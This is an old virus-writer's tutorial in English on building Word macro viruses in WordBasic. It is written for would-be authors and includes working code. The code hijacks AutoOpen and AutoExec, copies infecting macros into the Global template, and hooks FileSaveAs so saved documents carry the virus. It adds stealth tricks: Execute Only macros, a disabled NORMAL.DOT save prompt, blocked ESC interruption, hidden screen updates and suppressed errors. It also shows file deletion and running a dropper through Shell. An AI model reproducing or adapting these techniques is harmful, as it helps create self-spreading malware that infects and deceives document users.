Wordmacro Viruses
by
b0z0

    1. Introduction
    ---------------
     In this last period the Wordmacro viruses became well known by any PC
    user. After the first succesful macro virus attempt (the Concept macro)
    many new techniques has been implemented in this type of virus
    programming. Macro viruses are really simple to build, because they are
    programmed in a  quite simple programming language internal to Word (6.0
    or later) called Wordbasic. Using some lacks of security and some risky
    default options (that are also unconsidered by the tipical Word user :))
    the infection and spread can easily become truth. In general the most
    used AV products (i mean TSR utilities) doesn't care of DOC files,
    because they are never really executed. This is the mainly advantage of
    Wordmacros. Some guys also consider that Wordmacro viruses can be
    considered as a multiplatform product, but this, due to some lacks of
    Micro$oft work, isn't totally true.

    2. How they work?
    -----------------
     All Word documents can contain near the text also a file called
    Template, which includes some specific definitions or macros (created
    with the included Word macro editing utilities) that can operate in a
    certain way on the text. This included macros can be also
    autoexecutable, this means that they can run at the moment while the
    document is loaded or can be executed on a determinate event. Word has
    some predefinited macros with reserved names, which starts on some
    specific operations like saving or opening a document. This
    predefinited stuff (with all others default page styles and so on) is
    located in the NORMAL.DOT template file. Creating a macro with one of
    the predefinited names will lead to execute something that we like at a
    specified event. The AutoExec macro for example is executed at the Word
    startup, the AutoOpen is executed at each document opening. So the
    general rule to do a takeover on the system is to replace some of the most
    used predifined macros with our virulent macros.

    3.Creating a macro virus
    ------------------------
     So the first thing to do in our Wordmacro is to put our virus macros
    instead of the original ones when the infected document is opened.  We
    can easily put in the AutoOpen macro some lines, that will copy our
    infecting routines on the right place in the main Word macro storage
    (this is called the Global template), when the document will be opened.
    For example if we want to copy our macro AutoClose in the Global template
    our AutoOpen macro will look like this:

    Sub main
     MacroCopy WindowName$()+":AutoClose",   "Global:AutoClose" ,1
    End sub

     The Macrocopy commands in Wordbasic copies a macro (from a template) to
    another macro (in the same or in another template) With this we will replace
    the Autoclose macro in the Global template with our Autoclose from the
    current infected document (which name is given by the "WindowName$()"
    function). The final ",1" means that the macro is "Execute Only". This
    attribute won't let the user to read or modify the macro once that it
    was created. If we don't put the final "Execute Only" attribute any lamer
    will be able to change something in our virus or the user will notice
    that the macros aren't really of use to his work.
     A tipical Wordmacro virus will look for other more interesting
    predefinited macros. That would be cool, if we had the possibility to
    infect a document when it is being saved. To do this we can handle the
    FileSaveAs macro. We can put in it some code, that will put near the text
    that the user will save also our virulent macros. Like we told at the
    start of this section the add-on macros don't directly go to the DOC
    file, but to the template file (DOT). This isn't a very good thing,
    because like maybe you will notice, this will prevent us to infect other
    DOCs. This isn't true, because we can save anyway the user's work as a
    template and Word will at the next time load the saved file normally as it
    is a normal document. In this manner our macros will go around the world
    with the file with the extension .DOC, but definitely it will be only a
    template :) Let's see an example of a FileSaveAs macro:

    Sub Main
     Dim dbox As FileSaveAs  'we define which dialog box will appear
     GetcurValues dbox       'we inicialize and run the dialog box
     Dialog dbox
     Macrocopy "Global:AutoClose", WindowName$() + ":AutoClose" ,1
     Macrocopy "Global:FileSaveAs", WindowName$() + ":FileSaveAs" ,1
     dbox.Format = 1         'we are saving a template
     FileSaveAs dbox         'we finally save it
    End Sub

     In this example we copied two virulent macros (AutoClose and FileSaveAs)
    in the new file, which name was given by the user in the dialog box. We
    must of course first define the type of dialog box like a variable. If we
    was handling another macro (say FileOpen for example) we may use another
    dialog box depending on the macro (Dim dbox As FileOpen for example).
    After inicializing the dialog box with GetcurValues (general inicializing
    like directory where we stay, type and so on) we can finally display the
    dialog box simply running Dialog and putting the name (in our case dbox)
    of the just defined dialog box. Once copied our macros we defined that
    we were saving a template and finally called the old save routine.
     To implement our file infection macro we can also test, if the type of
    file we are saving is a DOC or a DOT. If the file is something other (for
    example the user is trying to save to a normal text file) it would be
    good not to copy the macros. To prevent this we can put a test after
    invoking the dialog box and test the dbox.Format. If the dbox.Format is
    equal to 0 then the user saved in a DOC file (and we can infect it of
    course transforming it in a template) and if the dbox.Format is equal to
    1 the type is a template. In all the other cases the user selected
    something other, that we won't infect. So the test rutine after invoking
    the dialog box will be something like:

    If ((dbox.Format = 0) Or (dbox.Format=1)) then
            'Infect them!
    End If
    FileSaveAs dbox

     Like for FileSaveAs we can for example try infecting on FileSave or on
    FileOpen (when a file is opened) or sometime else. This just depends from
    your taste.
     Now that we have put some of our routines in the Global template it
    would be good to write a macro, that will make our virus active when Word
    starts. This macro is named AutoExec and will appear very simillar to the
    AutoOpen macro. Infact in both cases we will only copy our macros instead
    of the original ones if they aren't already installed.
     Another important thing, while we are going resident or infecting a
    document, is to control if the template (the Global if we are just going
    resident or the file's template if we are infecting) is already infected
    by our virulent macros. Simply we can scan all the names of the
    installed macros and seek for one (of more) of our macros. This may look
    like this:

    For Cnt = 1 To CountMacros(0)   'we control all the macros in the Global
      If Macroname$(Cnt,0) = "OurNamedMacro" Then           'it is ours?
            Founded = 1             'we mark someway that we got it!
      EndIf
    Next Cnt

     Now we have put some good macros in the Global template. When a user
    will end his work and on a file and will exit from it, Word will
    automatically notice him that also the NORMAL.DOT (the Global template)
    has changed, asking you for a confirmation of saving. Of course this
    wouldn't be a very good stealth feature. To prevent this we can now
    write a macro, that will activate when we will exit from a file, that
    will deactivate the Yes/No prompting. The macro that we are looking for
    is the FileExit. To disable prompting we must just turn to zero a Word
    internal variable and then recall the old FileExit procedure. So the macro
    will be:

    Sub Main
    ToolsOptionsSave .GlobalDotPrompt = 0
    FileExit
    End Sub

     The ToolsOptionSave is the well known Save folder in the Tools menu in the
    submenu Option, where are defined the preferences on saving. In this case we
    just directly switched off in that menu the option that enables prompting
    for saving changes in NORMAL.DOT.
     Additionally in all our macros it would be very good to include the "On
    Error Goto" capability, that automatically call the function that is
    given it as a parameter on an error occurance (after a function call or
    more simply if there is a compatibility problem like we will see later).
    This is *very* important when writing macros that includes dialog boxes
    or interrupable jobs. Infact when a user press the Cancel button in any
    dialog box an error will be generated, telling to the user that the macro
    wasn't succesfully completed. With a small error handler we can hide
    these errors and let our macros to continue. For example:

    Sub Main
    On Error Goto NoGood
    ; put here ya macro
    ; ......
    ; end of the macro
    NoGood:
    ; do something else... for example only give again the control to the
    ; original function that the user was calling or just exit out of the
    ; macro

     Another very important Word option that must be set (to be as stealth as
    possible) is the Disableinput variable. Setting this to 1 will prevent
    the interruption of the macro with the ESC key. If you don't set this a
    user a little intelligent (duh... but if he was a little intelligent he
    wouldn't use Word ;) ) may press ESC during the execution of your macro
    (for example is you are writing to a file on the disk Word is halted for
    many seconds and he can notice the activity on the disk... but anyway
    under windoze the hard disk is always trashing ;))) ) for stopping it.
    What is worst is that if he stopped a macro with ESC he will receive a
    notice that the macro was succesfully stopped... not really a stealth
    feature ;)
     To continue with the stealth features (duh :) ) there is another
    Wordbasic command that may be useful to hide ourself. Infact if we set
    ScreenUpdate to 0 the document (or macro or everything :) ) will not be
    updated during the execution of the macro. This can be very useful if
    your macro also modifies something in the window with the text. To enable
    again screen updating just set the variable to 1.
     Maybe someone of you already noticed that the names of the functions
    that we call are basically the same as the full name in the Word menus.
    For example:
       FileSaveAs       ; is the SaveAs command in menu File
       FileClose        ; is the Close command in menu File
       ToolsOptions     ; is the Options command in menu Tools
       ToolsOptionsSave ; is the Save folder in the Options command in
                        ; the menu Tools
     So, all the commands of the menu File are precedded by a 'File' and so
    on. Just think what command do you want to hook, give a look to the help
    for the complete syntax and go write the macro :)

    4.Handling files
    ----------------
     Aditionally in Wordbasic you can also manipulate any external file on
    your hard disk. There are a few important command commonly used. The
    first is Open that opens a file on the disk. There are three types of file
    opening:

    Open "C:\PADA.NIA" For Input As #1
    Open "C:\FOOBAR" For Output As #2
    Open "C:\GULLI.VER" For Append As #3

     With the first we open the file only for reading, in the second case for
    writing and in the last we open the file for appending data at the end
    of the existing file. Like you will see we must also assign a number to
    each file we open. Word can actually handle a maximum of 4 files (1-4).
    When we open a file for writing if the file doesn't exist Word will
    create one for us. When we want read from a file if it doesn't exist Word
    will give us an error (which can be easily handled with the already
    described error handler). This can be useful if we are checking is a file
    exist or not. Infact to see if a file is on the disk we can only open it
    for Input and if an error occours then the file doesn't exist (and maybe
    we are going to create it).
     After we succesfully opened a file (depending what we want to do) we
    can now write something to it with the Print or with the Write command
    (there is only a minor difference in the format between the two commands).

    Print #2, "Chauabunga"

    We can also read something from it using the Input$ function (or also the
    LineInput command if we are goin to read a line that is terminated with a
    CR-LF sequence):

    somechar$=Input$(20,#1) ;this will read 20 characters from the file #1
    Line Input #1, $our     ;will put in the var $our the current line from #1

    When we have done all our operations on the file we finally can close it
    with a simple:

    Close #n                ;closes file number 'n'

    There are also many other very useful commands that may be of use in our
    virulent macros (for example is very interesting the function Lof() which
    returns the lenght of a file in bytes, Kill() that deletes a file,
    SetAttr that changes the attributes of a file, GetAttr that takes the
    attributes of a file, Name to rename a file or a directory, File$ to
    search in the current directory some files with a pattern  and so on)
    but of course i'm not going to talk about them all :) Just give a look
    to the help file for a more complete guide.

    5.Executing Dos Commands
    ------------------------
    After the file handling with Wordbasic we can also execute any external
    Dos program and also some of the internal Dos commands. To execute and
    external program the syntax is very simple:

    Shell "C:\DROPPER.COM", $type

    After Shell we put the command that we would execute and the type (this
    isn't mandatory) of the window of the program that is being executed. The
    type can be a number from 0 to 4 where:

    0 means that the window is minimized to an icon
    1 means normal window
    2 means like 0. this is put for compatibility with Excel
    3 means big window
    4 means inactive window

    And this is all about the execution of external programs. Now let's give
    a look to the Dos internal commands that Wordbasic support. Of course,
    using this will not be spawn a window, so the user won't notice
    absolutely anything. For example:

    Mkdir "C:\GPL"
    Shell "mkdir C:\GPL",0

    These final effect of this commands will be the same, but the second will
    spawn a new Dos shell for the execution of the command, and this maybe
    will alert the user. It will of course also use more PC resources.
    Here is a small list of very useful Dos internal commands supported by
    Wordbasic:

    Chdir "C:\FOO"          ;changes current dir to C:\FOO
    Mkdir "C:\WINSLOTH"     ;creates the directory C:\WINSLOTH
    Rmdir "C:\W1NL0SE"      ;deletes the C:\W1NL0SE directory
    path$=Environ$("PATH")  ;puts in path$ the current PATH
    Filecopy .....          ;to copy a file

    and so on... :)

    6. Other Stuff
    --------------
     Apart from this you can also do many other useful things with the
    Wordbasic language. There is a full set of arithmetic operators and
    functions for example. Commands to determine many things of a machine
    (like language, cpu, mem) are also avaiable. The handling of the WIN.INI
    config file is also a good optional :) as in other high level languages
    the manipulation of strings is fully implemented.

    7. Multiplatform features
    -------------------------
     One of the worst things of the Wordmacro viruses is the portability.
    Infact a Wordmacro virus written using the english set of commands won't
    work with the swedish version. Word will notice to the user that there
    are some macros that are using unknown commands. Infact all of the names
    of the menus are different. The FileClose of the english Word is for
    example FileChiudi in the italian and DataiBeended in the german version.
    That's simply because the names that are present into the menus are
    different from version to version.

    8. A real threath?
    ------------------
     There is really simple to protect yourself from being infected. You can
    just disable the automatic execution of the macros. So Wordmacros can't
    be absolutely considered a real threath. Anyway the Wordbasic language is
    fun and has _a lot_ of interesting commands that can be used.
     Definitely Wordmacros are nice for us to have a little of fun, as usual
    in our work :)